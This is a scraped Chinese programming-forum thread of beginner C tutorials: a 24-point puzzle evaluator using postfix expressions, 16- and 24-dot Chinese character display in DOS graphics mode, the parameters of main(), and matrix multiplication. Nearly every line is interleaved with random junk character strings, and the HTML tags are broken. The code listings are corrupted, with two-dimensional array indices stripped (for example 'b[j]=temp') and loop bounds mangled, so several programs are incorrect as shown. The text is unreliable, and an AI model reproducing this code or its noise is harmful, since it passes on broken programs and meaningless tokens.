( \/ X: {* k5 [4 a5 j! O) l" |/* sp[]为表达式数组 */
+ m! V" E+ ~9 f" r8 ?% v% u. Dint mid_last(): d8 V- M& Q0 C$ G. u* J' _
{ int i=0,j=0; char c,sm[M];: R! R, W( d% p# A2 q; Q% C  X, R% z
c=s[0]; sm[0]='='; top=0;7 o; ^3 I% D3 P' S
while(c!='\0')
( T. O, D1 z' o5 t% l{ if(islower(c)) sp[j++]=c;
) P5 J* t$ C! |. Kelse switch(c)
: C. T' g) [3 L) X" r; Q{ case '+':
3 y! F3 q& |1 q  n( |+ c  bcase '-':3 ]1 @/ F4 X/ A" J9 O
case '*':: }8 R7 h' {+ h0 R8 `. t( v8 a
case '/': while(first(c)&lt;=first(sm[top]))
6 x: a3 f3 E2 P* Q2 {sp[j++]=sm[top--];8 p( m  o4 x& z1 M5 e8 ?& ]
sm[++top]=c; break;
9 U+ J3 z% k1 h1 B/ Y" }1 U. pcase '(': sm[++top]=c; break;
: `+ e! k! K" {9 o* u& R* N* ~case ')': while(sm[top]!='(')) m9 B, J1 d+ I9 e
sp[j++]=sm[top--];5 v7 C5 P# i0 _* ^1 s5 w  u
top--; break;
* i! |" e. {, tdefault :return(1);8 q( x2 W4 n5 Y; v5 r
}
# y" `' E3 t5 ?0 Cc=s[++i];
' M% A5 T. r$ ~5 d" d7 f' J, A0 {}
( c4 g$ G4 {9 L9 Jwhile(top&gt;0) sp[j++]=sm[top--];' t7 @  S, w% v
sp[j]='\0'; return(0);3 t8 C7 h* S5 I7 m  l
}
3 y7 ?! W1 m4 ~/ P/* 由后缀表达式来计算表达式的值 */0 y1 ~# q  w. V% ?. u- E& l
int calc()
# O. `' g; n# G$ H{ int i=0,sm[M],tr; char c;( y+ b/ p8 C  |! Q& `
c=sp[0]; top=-1;/ V6 I4 ^- e; A7 N) o7 {0 M% L
while(c!='\0')
) S0 ~) j" D9 ]2 u" V3 y: ?. x{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,5 L/ L* K# s$ y# x2 o
这样才可以更方便的处理非一位数,
3 D; ~* U5 {; A7 |; `8 over数组中存放着这些字母所代替的数*/
4 f- H  _! N: T2 Welse switch(c), i' T6 k+ c; h; {! R& ]
{ case '+': tr=sm[top--]; sm[top]+=tr; break;2 U6 M1 k8 D, Y* ]* L
case '-': tr=sm[top--]; sm[top]-=tr; break;
6 \6 G5 q4 f; S! fcase '*': tr=sm[top--]; sm[top]*=tr; break;
6 R5 t! T  v3 ]4 s: W# A# y1 ~# }$ ncase '/': tr=sm[top--];sm[top]/=tr;break;$ t8 u0 {, N' N( ~
default : return(1);
" i2 d9 }4 `( v( |}
2 m2 e! I8 V9 |c=sp[++i];: W$ f' g+ M! b* T8 S- j9 B/ l
}  N( E; M( r3 u- ]2 L
if(top&gt;0) return(1);4 Y0 e- m' x5 X" z' A
else { result=sm[top]; return(0); }
& r4 q, g3 r3 [( d- t}. V7 G- [$ ^1 i+ ]
</FONT>
- N6 ?7 A! n& n- R2 U0 o  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。. |. ^7 G7 E' r/ m. h

& o. i, D  S6 [0 m' m  最后我总结了一下这其中容易出错的地方——% W- k. h, ~( X( A) {
$ j! r$ J/ x* |" ?" ?& C7 q& c
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
$ s" F% q9 S1 Q; {. o2 u1 }# D4 v( }
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
! t1 b4 D* m0 J
# o) l7 C. R; L$ }  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。 ) U- M; N. \& _3 I( F& Q1 A
- |: |- p% ], b: i' w" U
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
* D3 v7 }) ?* G, J+ X# t5 m: T8 k; C4 e* ^- Y
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。
% S! V0 L, v# P- o: L) R, x7 N, p; d; @0 L. e# M
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
8 f% `, w' g6 w6 T( k( ?6 ^( [: u* x" }* ?% v9 e  _
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
0 x( F/ ^% c/ W' z* X</P>
作者: 韩冰    时间: 2004-10-4 02:41
< align=center><FONT color=#cc0000 size=5><B>( e. ^* x3 [( k
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}7 L/ K2 Q/ b% Z9 }3 @" @
  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。
$ h1 w. K' ?6 ]% H3 P5 L  汉字显示的第一步是打开字库文件。 & G1 a# \" n8 C7 e
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
9 b$ e* c8 ?+ E+ m; c  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)  j  E+ a# ]4 V9 J! T+ C7 K
{' Z  v8 V) Y$ c3 o
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
: c* \9 _. C( ~7 h' G+ e% ?int rec,i1,i2,i3; /*z:space between;*/0 x/ i9 |8 c5 b/ m6 ?* q6 T8 j
long l; /*color:txt color*/
# U) g% e  x& B: V6 j% dchar by[32]; /*p:HZ str*// M+ W  t& q0 E
if( handle&lt;0 ) return -1; while((i=*p++)!=0){
  G3 h5 @, S4 ~. Nif(i&gt;0xa1)
5 U' j1 s; k9 jif(f==0){
; a9 M$ i8 m+ sc1=(i-0xa1)&amp;0x07f;3 Z7 m8 v9 e  J0 `& \# Y  z: B
f=1;
7 Y% r. X: m8 C: H. v}' Q; f+ B  T9 a
else{, t# _( D8 O/ R; i7 F* }# S# M
c2=(i-0xa1)&amp;0x07f;, R( t- i" h% S( F0 U% l
f=0;* _4 J* E. L9 E, q+ J) Q/ v
rec=c1*94+c2;2 ^0 C* ]# @/ _+ r8 k3 L: [
l=rec*32L;( F1 O5 H; g0 ?  R2 v0 i
lseek(handle,l,SEEK_SET);+ j7 }& _$ q" Y* h) L
read(handle,by,32);( v% v  B1 U1 k; i- M4 q, a1 J
for(i1=0;i1&lt;16;i1++): n% Z3 X; Q/ |
for(i2=0;i2&lt;2;i2++)
: \+ ]& F, E7 O  u2 ~8 N3 n& _for(i3=0;i3&lt;8;i3++)- I3 S1 v- V; D- _  d. e! X! _
if(GetBit(by[i1*2+i2],7-i3))
$ c1 [. X: E1 m5 A0 Y8 s9 |putpixel(x+i2*8+i3,y+i1,color);
% w9 }2 V- Y( s& t! q  Cx=x+z+16;' W/ ^) w( y: [! V5 [- F
}: d( d- H; V6 O8 l( ^2 M
}
) E7 Y4 c4 e( R; E7 v6 ?8 k4 _return(x);7 V+ M0 W( h- {3 M/ z9 ?6 y
}4 @( w6 O" s( n) Q  f
函数GetBit定义如下:2 ]7 T0 O4 b$ P' N' h
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。1 D0 D( I1 U  L' D- j  C* \
int GetBit(unsigned char c,int n)
' w3 b. O8 ^4 p& N% [3 o" m{
5 }; Z( }* R% A' l) e3 a# Kreturn((c&gt;&gt;n)&amp;1);
1 h. a& w4 W  E}* d2 P) E7 T( \$ H# A1 |
汉字显示结束,应该关闭字库文件。
2 e% g1 N8 ^( D2 ?9 T) [! Cvoid CloseHz(void)
! Y) H2 X! M% C" i" X{
# \# k, B! R& L; U, h5 f- R' C( dclose( handle );
( d  @; W7 N7 r! H; M. Q& j, K}' o/ }  n. P' m9 r% S, [
#include "\Caic\Include\Hz.h"1 q3 c, G! G! I$ l
#include <GRAPHICS.H>
# N: o" d; P) P* i" B#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";3 j# ^& s2 @' \  G6 Y: `
const char* HzStr = "苦丁香C语言辅助学习软件";0 q* p: v' I: o7 \7 V
void main(){" C+ }6 s( m% l+ ]/ I9 l  T2 x
int gr=DETECT,gm;: n( p: l2 \* A9 ^
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");" M9 ^! Z7 k" Q' C4 z4 @% N# z
OpenHz( Hz16Path );
2 h2 ^& m7 ^  B0 S4 DWrt16Hz(20,20,4,RED,HzStr);
% o$ S6 [/ X& i* K: U. ^CloseHz();
9 i. K" m' x' Q7 r5 r4 Ggetch();
0 t) a# c  u+ ?/ sclosegraph();. ?4 G& j1 B4 r9 |* Z
}显示24点阵及放大汉字
0 e9 W% r7 z4 \" m7 I  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
5 D2 s0 H0 F! ]函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。9 r# ~+ b; Y: N  K
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
% o# X3 h3 z9 P{
. ]9 k$ W7 m7 v; ^6 b% ?unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/7 }0 J" }7 r+ u) _9 x; Z* Q
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
. U/ w6 Q$ O* i7 l& L6 Rlong l; /*color:汉字颜色*/0 j4 S. A4 r  E& \9 b9 A& R1 r
char by[72]; /*m: x 方向的放大倍数*/
/ d, U/ R7 P; u1 x) a/ r/*n: y 方向的放大倍数*/- }$ b, c7 _( c- }$ c
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
' f6 W' n" V, m* l# B. wif(i&gt;0xa1)+ B5 X. V$ H9 [
if(f==0){' I8 T( W% X8 S2 p3 l6 \. W
c1=(i-0xa1)&amp;0x7f;
* a9 w7 B) w1 s- V- Zf=1;) P' n( s. J- ~; Y; j
}
! G+ E5 n/ W6 L% Oelse{0 Q8 p" y6 D1 r- }, t, e8 D1 A
c2=(i-0xa1)&amp;0x7f;* d! Y( y; N  p2 A
f=0;
" X- U7 G9 U7 ]4 xrec=(c1-15)*94+c2;. [+ I8 }" _8 r; e: A+ I7 j. v& ~* X
l=rec*72L;
8 v" R/ i' M: O- ^7 J) r! Y4 blseek(handle,l,SEEK_SET);9 l" l4 o) e* R
read(handle,by,72);
) t3 H: n) g% |6 t9 H4 X0 B* X+ hfor(i1=0;i1&lt;24*m;i1=i1+m)
. u/ L- i4 Q; N4 rfor(i4=0;i4<M;I4++)
1 x1 F* X! L2 r' y# } for(i2=0;i2&lt;=2;i2++)
$ i5 A( W1 ^3 Q; U4 s2 @for(i3=0;i3&lt;8;i3++)0 M5 \8 R1 `# Q1 e' @
if(GetBit(by[i1/m*3+i2],7-i3))$ N' x. b# T  Q1 l) S
for(i5=0;i5<N;I5++): [  A+ k' e- ?1 n
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);+ M) w, P& P; J6 C! z3 c6 b: D4 o4 D
x=x+24*m+z;2 T# c- E& b) B2 ~% g2 z9 o
}1 t6 Q$ I' |. q7 J$ r
}
1 i( v2 f6 i9 D8 L% M$ H% {# ^return(x);3 O8 P& _, j3 v. F0 M2 p: q# O
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"" m! n4 t' z: a- U2 W. c
#include <GRAPHICS.H>- S" v( `% ]% i5 F$ u
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."$ Y- S6 D% U3 A5 S: o( V: q/ T
const char* HzStr = "苦丁香C语言辅助学习软件";
' f& x, `9 ]$ J- ^9 Q: m0 X; e' Uvoid main(){7 Q4 g+ @: Z5 M& C( @" t: s0 T
int gr=DETECT,gm;) k7 i8 {7 }# J0 x3 I8 @
initgraph(&amp;gr,gm,"\\Caic\\Bgi");
8 g! ~9 c6 e% Y: V" Z( d! f5 q$ I3 l2 QOpenHz( Hz24Path );
, K/ y5 q8 Q& D; {/ k8 C& G1 a' a: GWrt24Hz(20,20, /*先是在(x,y)*/# N7 Y: W7 `* n
4, /*汉字间的空格为4*/2 F/ P0 c1 R+ w1 w. t; x
RED, /*用红色显示*// y0 Y8 q/ K; M6 c& e
2, /*x 方向放大2倍*/6 Z1 Y# w  }. c9 i0 V. x3 B
4, /*y 方向放大4倍*/# _3 n3 ~1 x) R; _0 A/ _2 i4 z
HzStr); /*显示字符串*/
+ R2 ~# \: V6 c7 [CloseHz();# A4 |  z* N! @9 {/ a
getch();- B5 R. f0 b& d+ v, x, t  m2 ~
closegraph();5 K+ N% e) X6 o6 X7 t9 k
}
8 D. x+ b9 |* @0 {( Z( O</P>
作者: 韩冰    时间: 2004-10-4 02:41
<>  再谈main()主函数) B8 B6 G# ~) u
  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。
* e" g3 i8 s8 q9 s1. main() 参数+ @! X' O0 _- D
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
/ `) c' Y4 O- I, S' |* F( C  * argc: 整数,为传给main()的命令行参数个数。9 v9 W  B- N  v$ j
  * argv: 字符串数组。6 X5 R& H6 p  ^7 v  v: D
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
: @# J" H- ]5 S! I# a2 O; L对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;; L: T& K: i" K! \
...
( G) H/ A# V6 T* H7 i' S0 largv[argc]为NULL。; |0 E; {" U) O& _; _
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应! X7 d! X$ w  C* I- `& E
值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
作者: 韩冰    时间: 2004-10-4 02:43
< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
7 }+ U, c7 L# X4 n( j  L& x. |#include&lt;stdio.h&gt;
4 E& b( o) G" _8 n' A#include&lt;conio.h&gt;+ |2 a1 x% X/ \9 `. l1 Z
#define X 34 m; e# F0 R: O9 R: u- n! e
#define Y 3</P><>int a[X][Y];8 ^' q; o$ V) p2 g, q- o
int b[X][Y];
, b! B0 S) S+ m5 Gint c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
5 G2 k- I) g! x; Z$ ?main()
# V* U( e+ @3 }: s4 e8 L! N2 {{
; N4 p( ^+ g9 x; U7 rint i,j,temp;
0 q1 T: I' j4 t. o% \. s' T  Kclrscr();
% b5 M* v6 R) B1 Rprintf("lease input int matrix b[%d][%d]\n",X,Y);
* {2 _  Y: w2 p; w( _5 d' Wfor(i=0;i&lt;Y;i++): p) `% ~1 r5 d, G* o
for(j=0;j&lt;Y;j++){' s% O  S' Z% }4 f1 ~( B% a
scanf("%d",&amp;temp);2 c! M5 h( ~/ X/ Q
b[j]=temp;
  R, e1 r! I7 G, R  k}- h' O% k) e1 W7 V& L7 r& U( H- T
printf("lease input int matrix c[%d][%d]\n",X,Y);' [0 Y# |( r/ z5 t$ S) W6 {5 Y
for(i=0;i&lt;X;i++)# ^0 t0 I2 m. y9 F6 m& a% ~: D  b
for(j=0;j&lt;Y;j++){# r7 R+ z8 m/ o$ y0 \
scanf("%d",&amp;temp);
7 V7 n/ O/ k$ n  ]% M, Dc[j]=temp;
6 `* I- _( t* r$ |  c2 h}
7 l  h1 i8 v! s% P, v4 S% Jmatrix(b,c);! V) n/ P$ N, B3 u3 g4 F5 r
printf("Now print resource matrix b[%d][%d]=",X,Y);
6 l! a8 A9 N, M8 x6 K5 Vfor(i=0;i&lt;X;i++){
4 ]' H$ Q3 f8 @) F: Q9 oprintf("\n");; h, v5 h' i0 x$ b4 m( q0 g" d* c5 r
for(j=0;j&lt;Y;j++)5 H, V) k6 |0 x; g3 A
printf("%d ",b[j]);) a5 v! @, L/ P) B+ A6 z6 O
}* ]$ j; F3 A: I+ u
printf("\n");
7 \0 j+ C6 L: ?printf("Now print resource matrix c[%d][%d]=",X,Y);9 R: Q% ?8 O' c
for(i=0;i&lt;X;i++){
2 _1 B& j' a7 L* j0 Uprintf("\n");6 N! j9 K4 F- ]
for(j=0;j&lt;Y;j++)- `$ t& }! {! L& X  h
printf("%d ",c[j]);
4 T, u& m3 o( z" x$ e  p9 z2 j}
" N, g4 v: b$ E2 V- nprintf("\n");2 b2 |$ ~( ]% a4 o: y' c$ |
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);$ E! r2 G6 s8 E. E. V5 O
for(i=0;i&lt;X;i++){
, c9 F3 ]- f% Oprintf("\n");1 u6 @( }# @& W6 O
for(j=0;j&lt;Y;j++)
7 j1 ?8 ]1 x$ F  ^9 M9 hprintf("%d ",a[j]);, `) L2 O, Y4 E% V5 D0 R$ Q" H$ }) H
}
3 Y9 n( w. c" |) N1 s. `getch();
, [$ E" y+ \1 W! w. ~4 Jreturn 0;
  E2 a& T' ~, S% L; ^}6 K/ u) u2 i0 t2 Q: c3 h
/********************************************************************/
- N" W7 f( \1 y' Svoid matrix(int b[][X],int c[][Y])- {$ Y' P  ~+ Q' D& G7 t0 o
{0 G% y1 A  v* r5 r& ^0 H- |
int i,j,k,temp;0 d, J, s9 f; }& m" U. A7 E! m* Y9 b6 B
for(i=0;i&lt;X;i++)
) f, m: n3 T$ r( A2 K; V7 Gfor(j=0;j&lt;Y;j++){
2 g# [6 I/ Q" H% G3 G0 B( J% }2 Ufor(k=0;k&lt;Y;k++)! Y0 g* E8 o- D4 _; Y! s2 t$ y0 m
a[j]+=b[k]*c[k][j];; e" }7 @0 F; b! }2 e; o
}0 x7 J% o+ u% d  f  M
}</P>




欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5